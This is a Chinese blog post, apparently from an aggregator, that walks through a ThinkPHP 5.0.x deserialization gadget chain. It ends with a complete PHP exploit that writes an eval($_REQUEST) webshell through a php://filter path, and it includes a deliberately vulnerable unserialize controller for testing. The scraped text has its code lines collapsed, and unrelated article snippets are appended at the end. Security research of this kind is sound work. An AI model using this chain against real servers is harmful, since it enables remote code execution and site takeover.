ThinkPHP反序列化分析

news/2025/9/29 21:57:14/文章来源:https://www.cnblogs.com/Juanx1ncai/p/19119583

ThinkPHPv5.0.x反序列化利用链

前言

漏洞测试环境: php 7.3 + Windows + ThinkPHPv5.0.23

漏洞测试代码: index/controller/Index.php

<?php
namespace app\index\controller;class Index
{public function index(){return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ad_bd568ce7058a1091"></think>';}public function hacker(){unserialize($_POST['data']);    // 新增加的hacker方法}
}

漏洞分析

因为一般的反序列化POP链入口是__wakeup()__destruct()两个魔术方法,所以一般要重点关注。

Windows类

起手搜索魔术方法__destruct

可以在thinkphp\library\think\process\pipes\Windows.php中找到Windows类的__destruct()方法,其中有close()removeFiles()方法

public function __destruct()
{$this->close();$this->removeFiles();
}

image-20250910221424483
先看一眼close()方法,在当前文件下搜索close(,代码内容只是关闭一些文件,没有可以利用的点

public function close()
{parent::close();    // 其父类的close也是关闭文件的操作,没有可以利用的点foreach ($this->fileHandles as $handle) {fclose($handle);}$this->fileHandles = [];
}

image-20250922194430613

再看removefiles()方法,搜索removefiles(

private function removeFiles()
{foreach ($this->files as $filename) {if (file_exists($filename)) {@unlink($filename);}}$this->files = [];
}

image-20250910221838768

file_exists函数传入一个对象,就可以调用其__toString()方法,因为$filename可控,所以全局搜索__toString(,从上往下尝试,发现只有thinkphp\library\think\Model.php文件中的Model类中的__toString方法可以利用。但是Model类是一个抽象类,所以我们需要找到一个它的子类,全局搜索extends Model,找到MergePivot,选择哪个都可以,这里选择Pivot

image-20250922195358876

每结束一部分,我们去编写每一部分的exp,否则最后还得重头再找一遍

exp
namespace think\process\pipes;class Pipes{}
class Windows extends Pipes{private $files=[];function __construct(){$this->files=[new \think\model\Pivot()];}
}

Model类

跳转至__toString

public function __toString()
{return $this->toJson();
}

image-20250911075959831

跟进toJson()

public function toJson($options = JSON_UNESCAPED_UNICODE)
{return json_encode($this->toArray(), $options);
}

image-20250911080425674

跟进toArray

public function toArray()
{$item    = [];$visible = [];$hidden  = [];$data = array_merge($this->data, $this->relation);// 过滤属性if (!empty($this->visible)) {$array = $this->parseAttr($this->visible, $visible);$data  = array_intersect_key($data, array_flip($array));} elseif (!empty($this->hidden)) {$array = $this->parseAttr($this->hidden, $hidden, false);$data  = array_diff_key($data, array_flip($array));}foreach ($data as $key => $val) {if ($val instanceof Model || $val instanceof ModelCollection) {// 关联模型对象$item[$key] = $this->subToArray($val, $visible, $hidden, $key);} elseif (is_array($val) && reset($val) instanceof Model) {// 关联模型数据集$arr = [];foreach ($val as $k => $value) {$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);}$item[$key] = $arr;} else {// 模型属性$item[$key] = $this->getAttr($key);}}// 追加属性(必须定义获取器)if (!empty($this->append)) {foreach ($this->append as $key => $name) {if (is_array($name)) {// 追加关联对象属性$relation   = $this->getAttr($key);$item[$key] = $relation->append($name)->toArray();} elseif (strpos($name, '.')) {list($key, $attr) = explode('.', $name);// 追加关联对象属性$relation   = $this->getAttr($key);$item[$key] = $relation->append([$attr])->toArray();} else {$relation = Loader::parseName($name, 1, false);if (method_exists($this, $relation)) {$modelRelation = $this->$relation();$value         = $this->getRelationData($modelRelation);if (method_exists($modelRelation, 'getBindAttr')) {$bindAttr = $modelRelation->getBindAttr();if ($bindAttr) {foreach ($bindAttr as $key => $attr) {$key = is_numeric($key) ? $attr : $key;if (isset($this->data[$key])) {throw new Exception('bind attr has exists:' . $key);} else {$item[$key] = $value ? $value->getAttr($attr) : null;}}continue;}}$item[$name] = $value;} else {$item[$name] = $this->getAttr($name);}}}}return !empty($item) ? $item : [];
}

image-20250912202006559

其中在886行有一个三元运算符,$item[$key] = $value ? $value->getAttr($attr) : null;,假如$value没有getAttr方法,就会触发__call()魔术方法,所以我们要找一个带__call()方法且没有getAttr()方法的类。全局搜索__call(,在thinkphp\library\think\console\Output.php文件中找到了Output类,其满足带__call()方法且没有getAttr()方法的条件。要控制$value的值为Output对象,才能触发__call(),我们分析$value是怎么赋值的

赋值value

$name的值是数组$append的值,$append是可控的,所以$name也是可控的

if (!empty($this->append)) {foreach ($this->append as $key => $name) {

$relation的值是parseName方法传入了$name得到的

$relation = Loader::parseName($name, 1, false); // $name是数组append的值,append可控,$name就可控if (method_exists($this, $relation)) {$modelRelation = $this->$relation();$value         = $this->getRelationData($modelRelation);if (method_exists($modelRelation, 'getBindAttr')) {$bindAttr = $modelRelation->getBindAttr();if ($bindAttr) {foreach ($bindAttr as $key => $attr) {$key = is_numeric($key) ? $attr : $key;if (isset($this->data[$key])) {throw new Exception('bind attr has exists:' . $key);} else {$item[$key] = $value ? $value->getAttr($attr) : null;}}continue;}}$item[$name] = $value;
} else {$item[$name] = $this->getAttr($name);
}

跟进parseName,可以简单理解为什么都没有改变,因为它只是改变字母的大小写,也就是说$relation可控。

public static function parseName($name, $type = 0, $ucfirst = true)
{if ($type) {$name = preg_replace_callback('/_([a-zA-Z])/', function ($match) {return strtoupper($match[1]);}, $name);return $ucfirst ? ucfirst($name) : lcfirst($name);}return strtolower(trim(preg_replace("/[A-Z]/", "_\\0", $name), "_"));
}

紧接着进行判断是否存在这个类是否存在$relation方法,如果存在这个方法,就立马调用。那么我们就要找一找当前文件是不是可以控制返回值的无参方法。最后找到了getError方法,相当于$modelRelation可控

public function getError()
{return $this->error;
}

跟进getRelationData方法,$this->parent可控,所以可以执行$value = $this->parent;。为了实现这一效果,就要满足$this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent),重点在于$modelRelation的值。

protected function getRelationData(Relation $modelRelation)
{if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {$value = $this->parent;} else {// 首先获取关联数据if (method_exists($modelRelation, 'getRelation')) {$value = $modelRelation->getRelation();} else {throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');}}return $value;
}

接着来看$modelRelation的值,必须满足method_exists($modelRelation, 'getBindAttr',才能进入$item[$key] = $value ? $value->getAttr($attr) : null;,所以搜索function getBindAttr,在文件thinkphp\library\think\model\relation\OneToOne.php文件中OneToOne类找到了getBindAttr函数。所以$modelRelation的值必须是OneToOne类或者它的子类。因为OneToOne是一个抽象类,所以找一个他的不是抽象类的子类,最终确定为HasOne

getBindAttr()方法返回变量$bindAttr$this->bindAttr是可控的

public function getBindAttr()
{return $this->bindAttr;
}

image-20250916154921655

再回到getRelationData方法,$modelRelation的值确定为HasOne之后,想要确定!$modelRelation->isSelfRelation()是否成立,就要去HasOne里或者他的父类里寻找isSelfRelation()方法的返回值是否可控。最后在其父类Relation中找到了此方法,其返回值$this->selfRelation可控

public function isSelfRelation()
{return $this->selfRelation;
}

image-20250928220802983

接着看get_class($modelRelation->getModel()) == get_class($this->parent)是否可以实现,在HasOne中搜索getModel()方法,搜索不到

image-20250916162606453

那么去他的父类或者他父类的父类搜索,最终在Relation类中找到了这个方法,$this->query是可控的

public function getModel()
{return $this->query->getModel();
}

image-20250916162457878

全局搜索function getModel(,在thinkphp\library\think\db\Query.php中找到了返回值可以控制的getModel方法(this->model可以控制)。那么也就是说在getRelationData()方法里get_class($modelRelation->getModel()) == get_class($this->parent),这行代码是可以实现的,最终执行$value = $this->parent,最终返回$this->parent这一可控的值

public function getModel()
{return $this->model;
}

image-20250916162739078

所以,getRelationData()方法中的$value就是可控值,是可以被赋值为Output

exp
namespace think;
abstract class Model{protected $append;protected $error;protected $parent;public function __construct(){$this->append = ['getError'];$this->error= new \think\model\relation\HasOne();$this->parent=new \think\console\Output();}
}namespace think\model;
abstract class Relation{protected $selfRelation;protected $query;public function __construct(){$this->selfRelation=false;$this->query = new \think\db\Query();}
}namespace think\model\relation;
abstract class OneToOne extends \think\model\Relation{public function __construct(){parent::__construct();}
}namespace think\model\relation;
class HasOne extends OneToOne{public function __construct(){parent::__construct();$this->bindAttr=["xiny"];}}namespace think\db;
class Query{protected $model;public function __construct(){$this->model=new \think\console\Output();}
}

Output类

__call()方法中$method是不可控的,就是getAttr,但是$args是否可控的,就看toArray中的$args是否可控

public function __call($method, $args)
{if (in_array($method, $this->styles)) {  //想进这个条件,就要让$styles=['getAttr']array_unshift($args, $method);return call_user_func_array([$this, 'block'], $args);}if ($this->handle && method_exists($this->handle, $method)) {return call_user_func_array([$this->handle, $method], $args);} else {throw new Exception('method not exists:' . __CLASS__ . '->' . $method);}
}

image-20250928221806881

这段代码的大意

image-20250912204115639

跟进block方法,刚才说Output类中的__call()魔术方法中的$args是可控的,那么block方法中的$style,可控,但是$message是不可控的,它的值为getAttr

image-20250912204243384

protected function block($style, $message)
{$this->writeln("<{$style}>{$message}</$style>");
}

跟进writeln方法,发现其又调用了write方法,且writeln方法的$messages不那么可控了,也就是说传入write方法的$messages也是不可控的

public function writeln($messages, $type = self::OUTPUT_NORMAL)
{$this->write($messages, true, $type);
}

image-20250912205306538

跟进write方法,此时$messages是不可控,$this->handle可控,那么就看哪个类是有write方法并且可以利用的

public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{$this->handle->write($messages, $newline, $type);
}

image-20250928223153782

全局搜索function write(,选择thinkphp\library\think\session\driver\Memcached.php文件中的write方法

exp

编写这部分的exp:

namespace think\console;
class Output{protected $handle;protected $styles = [];public function __construct(){$this->handle=new \think\session\driver\Memcache();$this->styles=['getAttr'];}
}

Memcached类

$this->handler是可控的,$this->config['session_name']也是可控的,但是$sessID是不可控的,因为他是前面的writeln方法的$messages$sessData也不可控制

public function write($sessID, $sessData)
{return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);
}

查看可跳转的set方法,全局搜索function set(,发现File.phpset方法可以进行利用

image-20250928224023562

exp

编写exp:

namespace think\session\driver;
class Memcache{protected $handler;public function __construct(){$this->handler=new \think\cache\driver\File();}
}

File类

跟进set()方法,set()方法的$name是不完全可控的,$value是不可控的

public function set($name, $value, $expire = null)
{if (is_null($expire)) {$expire = $this->options['expire'];}if ($expire instanceof \DateTime) {$expire = $expire->getTimestamp() - time();}$filename = $this->getCacheKey($name, true);if ($this->tag && !is_file($filename)) {$first = true;}$data = serialize($value);if ($this->options['data_compress'] && function_exists('gzcompress')) {//数据压缩$data = gzcompress($data, 3);}$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;$result = file_put_contents($filename, $data);if ($result) {isset($first) && $this->setTagItem($filename);clearstatcache();return true;} else {return false;}
}

$filename的赋值需要跟进getCacheKey方法,跟进。$name可控,但是$this->options['path']是可控的,所以最后的$filename部分可控

protected function getCacheKey($name, $auto = false)
{$name = md5($name);if ($this->options['cache_subdir']) {// 使用子目录$name = substr($name, 0, 2) . DS . substr($name, 2);}if ($this->options['prefix']) {$name = $this->options['prefix'] . DS . $name;}$filename = $this->options['path'] . $name . '.php';$dir      = dirname($filename);if ($auto && !is_dir($dir)) {mkdir($dir, 0755, true);}return $filename;
}

setTagItem

接着进入setTagItem()方法,搜索setTagItem(,在File.php文件中没有搜到,全局搜索,在Driver.php中找到了这个方法,在看一看File类是否继承了Drive类,发现继承,这就说的通了。由于之前的$filename是部分可控的,所以setTagItem中的$name是部分可控的

image-20250915204334537

protected function setTagItem($name)
{if ($this->tag) {$key       = 'tag_' . md5($this->tag);$this->tag = null;if ($this->has($key)) {$value   = explode(',', $this->get($key));$value[] = $name;$value   = implode(',', array_unique($value));} else {$value = $name;}$this->set($key, $value, 0);}
}

在代码194行$this->has($key),跟进has方法,$key不可控,那么has方法里的$name也不可控

public function has($name)
{return $this->get($name) ? true : false;
}

再跟进get()方法,很明显会返回$default,因这个这次传入getCacheKey()方法的值和前一次传入getCacheKey()方法的值不一样,所以这个文件就不会存在,所以就会返回$default

public function get($name, $default = false)
{$filename = $this->getCacheKey($name);if (!is_file($filename)) {return $default;}$content      = file_get_contents($filename);$this->expire = null;if (false !== $content) {$expire = (int) substr($content, 8, 12);if (0 != $expire && time() > filemtime($filename) + $expire) {return $default;}$this->expire = $expire;$content      = substr($content, 32);if ($this->options['data_compress'] && function_exists('gzcompress')) {//启用数据压缩$content = gzuncompress($content);}$content = unserialize($content);return $content;} else {return $default;}
}

回到setTagItem()方法,就会执行$value = $name;语句将$name的值赋值给$value,那么这个$name的值是什么呢,是第一次执行getCacheKey方法时返回的$filename

在代码200行,又进行了一次set()方法的调用,但是这次看他的传参和第一次的传参不一样了

再次跟进set()方法,set()方法的$name是不可控的,$value是就是getCacheKey方法时返回的$filename,是不完全可控的,但是对于写进去恶意代码,已经足够了

public function set($name, $value, $expire = null)
{if (is_null($expire)) {$expire = $this->options['expire'];}if ($expire instanceof \DateTime) {$expire = $expire->getTimestamp() - time();}$filename = $this->getCacheKey($name, true);if ($this->tag && !is_file($filename)) {$first = true;}$data = serialize($value);if ($this->options['data_compress'] && function_exists('gzcompress')) {//数据压缩$data = gzcompress($data, 3);}$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;$result = file_put_contents($filename, $data);if ($result) {isset($first) && $this->setTagItem($filename);clearstatcache();return true;} else {return false;}
}

正常执行set方法,执行getCacheKey方法,获得一个新的$filename$data就是我们第一次的写的带有恶意代码的$filename,直到走到$result = file_put_contents($filename, $data);这一行代码,恶意文件被写入

exp

编写exp

namespace think\cache\driver;#File
class File{protected $options=[];protected $tag;function __construct(){$this->options = ['expire'=> 0,'cache_subdir'  => false,'prefix'=> '','path'=> 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgcGhwaW5mbygpOz8+IA==/../a.php','data_compress' => false,];$this->tag=true;}
}

最终exp

最终EXP如下:

<?phpnamespace think\process\pipes;
use think\model\Pivot;
class Pipes{}class Windows extends Pipes{private $files=[];function __construct(){$this->files=[new Pivot()];}
}namespace think\model;#Relation
use think\db\Query;
abstract class Relation{protected $selfRelation;protected $query;function __construct(){$this->selfRelation=false;$this->query= new Query();}
}namespace think\model\relation;#OneToOne HasOne
use think\model\Relation;
abstract class OneToOne extends Relation{function __construct(){parent::__construct();}}
class HasOne extends OneToOne{protected $bindAttr = [];function __construct(){parent::__construct();$this->bindAttr=["no","123"];}
}namespace think\console;#Output
use think\session\driver\Memcache;
class Output{private $handle = null;protected $styles = [];function __construct(){$this->handle=new Memcache();// 目的调用write()$this->styles=['getAttr'];}
}namespace think;
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{protected $append = [];protected $error;public $parent;protected $selfRelation;protected $query;protected $aaaaa;public function __construct(){$this->parent=new Output();// Output对象,目的是调用__call()  $this->append=["getError"]; $this->error=new HasOne();// Relation子类,且有getBindAttrr()$this->selfRelation=false;// isSelfRelation()$this->query=new Query();}
}namespace think\db;#Query
use think\console\Output;
class Query{protected $model;function __construct(){$this->model= new Output();}
}namespace think\session\driver;#Memcache
use think\cache\driver\File;
class Memcache{protected $handler = null;function __construct(){$this->handler=new File();//目的调用File->set()}
}
namespace think\cache\driver;#File
class File{protected $options=[];protected $tag;function __construct(){$this->options = ['expire'=> 0,'cache_subdir'  => false,'prefix'=> '','path'=> 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgZXZhbCgkX1JFUVVFU1RbOF0pPz4=/../a.php','data_compress' => false,];$this->tag=true;}
}namespace think\model;
use think\Model;
class Pivot extends Model{}use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
?>

image-20250929171004692

image-20250928225204957

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/922281.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

建设京东物流网站的目标是什么广州网站排名专业乐云seo

VScode 国内下载源 进入官网 https://code.visualstudio.com/ 点击下载 复制下载链接到新的浏览器标签 将地址中的/stable前的az764295.vo.msecnd.net换成vscode.cdn.azure.cn&#xff0c;再回车就会直接在下载列表啦。 参考大神博客 2.使用nvm 对 node 和npm进行版本控制…

AT_iroha2019_day4_l 题解

题意:有一个数轴, \(Q\) 次操作,三种操作类型:1.在位置为 \(x\) 处插入权值为 \(w\) 的数,不会在有数的位置重复插入。 2.删除位置 \(x\) 处的数,保证删前 \(x\) 处有数。 3.给定位置 \(x\) ,对于一个数轴上有数…

怎么在工商网站做实名认证推广效果好的有哪些

想要在前端项目中压缩图片&#xff0c;然后再上传到后端保存&#xff0c;就需要一个压缩工具的帮助&#xff0c;暂时有两个依赖库可以选择&#xff1a;image-conversion和yireen/squoosh-browser&#xff0c;看了官方仓库地址和更新时间等详情&#xff0c;发现还是yireen/squoo…

兰州建设局网站公告wordpress Cute

1.你先作个自我介绍吧 面试官您好&#xff0c;我叫张睿超&#xff0c;来自湖南长沙&#xff0c;大学毕业于湖南农业大学&#xff0c;是一名智能科学与技术专业的统招一本本科生。今天主要过来面试贵公司的Java后端开发工程师岗位。 大学里面主修的课程是Java、Python、数字图…

做前端网站要注意哪些网站建设模板怎么设计

注解的存在主要是为了简化XML的配置。Spring6倡导全注解开发。 注解开发的优点:提高开发效率 注解开发的缺点:在一定程度上违背了OCP原则&#xff0c;使用注解的开发的前提是需求比较固定&#xff0c;变动较小。 1 注解的注解称为元注解 自定义一个注解: package com.sunspl…

企业报刊网站建设情况总结阿里网站seo

第一部分&#xff1a;跨界电商的兴起与网络安全挑战 1.1 跨界电商的崭露头角 跨界电商已经成为全球贸易的新引擎&#xff0c;企业纷纷踏上了拓展国际市场的征程。 1.2 网络安全的不容忽视 跨界电商的增长也伴随着网络安全威胁的增加。黑客攻击、数据泄露和欺诈行为等风险呈…

不符合网站外链建设原则的是个人备案网站能用公司

文章目录 前言音频服务audioserver音频数据链路hal 提供什么样的作用 前言 Android 的音频是一个相当复杂的部分。从应用到框架、hal、kernel、最后到硬件&#xff0c;每个部分的知识点都相当的多。而android 这部分代码在版本之间改动很大、其中充斥着各种workaround的处理&a…

摄影学习网站连云港市建设局网站安全员考试

文章目录 前言一、安装与运行命令行运行 python 文件 二、变量和简单数据类型2.1 变量命名规则2.2 字符串2.2.1 字符串的简单运算title()upper()、lower() 2.2.2 合并&#xff08;拼接&#xff09;字符串2.2.3 使用制表符或换行符来添加空白2.2.4 删除空白2.2.5 Python 2 中的 …

北京seo网站内部优化电子商务网站建设的定义

随着科技的不断进步和创新&#xff0c;无人机技术在各个领域中都发挥着越来越重要的作用。其中&#xff0c;光伏电站对于无人机的应用也成为了行业内的高效运维方式之一&#xff0c;凭借无人机卓越的性能和可靠性&#xff0c;有效的减少了人力运维的危险性和延迟性&#xff0c;…

2025.9.29

今天又是非常疲惫的周一,一天都是满课,上午两节,下午三个半小时,上完课之后我去好想来买零食,回来时候拿外卖,吃完饭后去洗澡,然后录下午课的视频。

网站开发使用的工具类做网站的技术理论

const用法主要是防止定义的对象再次被修改,定义对象变量时要初始化变量 下面我就介绍一下几种常见的用法 1.用于定义常量变量,这样这个变量在后面就不可以再被修改 const int Val 10; //Val 20; //错误,不可被修改 2. 保护传参时参数不被修改,如果使用引用传递参数或按地址传…

网站开发的语言做网站个人

From: http://www.cnblogs.com/caosiyang/archive/2012/08/21/2648870.html printf()和fprintf()这些输出函数的参数是可变的&#xff0c;在调试程序时&#xff0c;你可能希望定义自己的参数可变的输出函数&#xff0c; 那么可变参数宏会是一个选择。 C99中规定宏可以像函数…

深入解析:前端笔记:HTML output标签介绍及用法

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

成都网络推广建站深圳华强北商业圈

使用基于全球知名的 Corel Painter 画笔技术构建的 100 款逼真像素画笔&#xff0c;以全新的方式将您独特的想法变为现实&#xff01;试用 CorelDRAW 的全新美术画笔&#xff0c;探索您的创意想法。 使用 CorelDRAW 中现在可用的远程字体&#xff0c;畅享更多创作自由&#xf…

无锡网站程序北京设计公司招聘信息

前言 在《Unix网络编程》一书中提到了五种IO模型&#xff0c;分别是&#xff1a;阻塞IO、非阻塞IO、IO复用、信号驱动IO以及异步IO。本篇文章主要介绍IO的基本概念以及阻塞IO、非阻塞IO、IO复用三种模型&#xff0c;供大家参考学习。 一、什么是IO 计算机视角理解IO: 对于计…

设计模版网站wordpress侧栏插件

1.获取SDK&#xff0c;并写入常量表 2.引入MiPush_SDK_Sever.jar文件和json-simple-1.1.1.jar 3.开发服务端代码&#xff08;这里是用别名进行推送&#xff09; /*小米推送*//** * 指定alias推送(单个或多个) * * param messagePayload 消息 * param title 消息标题 *…

如何创建一个自己的平台北京网站建设 优化

题目&#xff1a; $num$_GET[num]; if(!is_numeric($num)) { echo $num; if($num1) echo flag{**********}; }关键在于绕过is_numeric&#xff0c;PHP中字符串与数字弱比较&#xff0c;会将字符串转换为数字&#xff0c;截至到非数字字符&#xff0c;如果第一个字符就是非数字…

Linux CentOS 7 安装 zip-3.0-11.el7.x86_64.rpm 详细步骤(命令行教程)​(附安装包)

Linux CentOS 7 安装 zip-3.0-11.el7.x86_64.rpm 详细步骤(命令行教程)​(附安装包)​一、先确认你的系统是 CentOS 7 或 RHEL 7 这个包名字里有 el7,说明它是专门给 ​CentOS 7​ 或者 ​RHEL 7​ 用的。如果你不是…

网站开发logo关键字排名优化工具

三星有子初长成气宇轩昂 秀美俊逸减之一分则嫌柔增之一分则嫌赘2019年8月7日于纽约巴克莱发布Galaxy Note 10系列用简约 重构美三星Galaxy Note 10与Galaxy Note 10分别搭载了6.3英寸和6.8英寸的超感官全视曲面屏&#xff0c;均采用单摄挖孔屏&#xff0c;开孔位于屏幕正上方。…

用动物做logo的旅游网站小说网站如何做书源

原标题&#xff1a;特斯拉最大的对手竟是华为&#xff1f;Hicar鸿蒙OS无人驾驶技术不再一家独大&#xff01;短短几个月的时间&#xff0c;特斯拉的市值翻了近4倍&#xff0c;对于一个超级企业来说一切都显得那么不可思议&#xff0c;如果把它单纯的看成一家车企&#xff0c;恐…